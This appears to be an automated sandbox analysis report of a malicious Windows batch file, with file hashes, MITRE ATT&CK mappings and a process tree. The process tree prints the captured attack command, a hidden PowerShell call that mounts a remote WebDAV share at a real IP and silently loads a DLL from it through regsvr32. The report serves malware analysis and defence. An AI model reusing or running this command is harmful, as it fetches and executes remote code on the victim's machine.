2db3d2a220ae4f1321b1a3c3dc07f83b3600e8018da0cd746f54279ca3d07476

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 10:12

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General

Target

21629313822504324304.bat
Size

12KB
MD5

d59dea041a233af9dd0e5e1a342de342
SHA1

006b17de21ac79466c983dd4a6240d599111fc36
SHA256

2db3d2a220ae4f1321b1a3c3dc07f83b3600e8018da0cd746f54279ca3d07476
SHA512

3cc5c0420dd776ee3473cedbc766a14fee057ccba413182c18b3e8e767d6c47bc8099a2b33aeabb737d45e1a34b926c7dd9252769a49a3332585841bb4d4f1e7
SSDEEP

192:2ybcFwsPD5Rxozx3Pg9ypGKkOg8/KX7hTvY5ibmGWBneRiBTNdPG2:2ywwa5rozZPa264iFTFbVavVPv

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2688	powershell.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4416	wordpad.exe
4416	wordpad.exe
4416	wordpad.exe
4416	wordpad.exe
4416	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 4416	2820	cmd.exe	85
PID 2820 wrote to memory of 4416	2820	cmd.exe	85
PID 2820 wrote to memory of 2688	2820	cmd.exe	87
PID 2820 wrote to memory of 2688	2820	cmd.exe	87
PID 2688 wrote to memory of 1556	2688	powershell.exe	90
PID 2688 wrote to memory of 1556	2688	powershell.exe	90
PID 2688 wrote to memory of 4844	2688	powershell.exe	91
PID 2688 wrote to memory of 4844	2688	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\21629313822504324304.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\17282824113999.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1556
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\17282824113999.dll
    3⤵
    PID:4844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nd11d15s.ygz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2688-0-0x000002526F940000-0x000002526F962000-memory.dmp

Filesize
136KB

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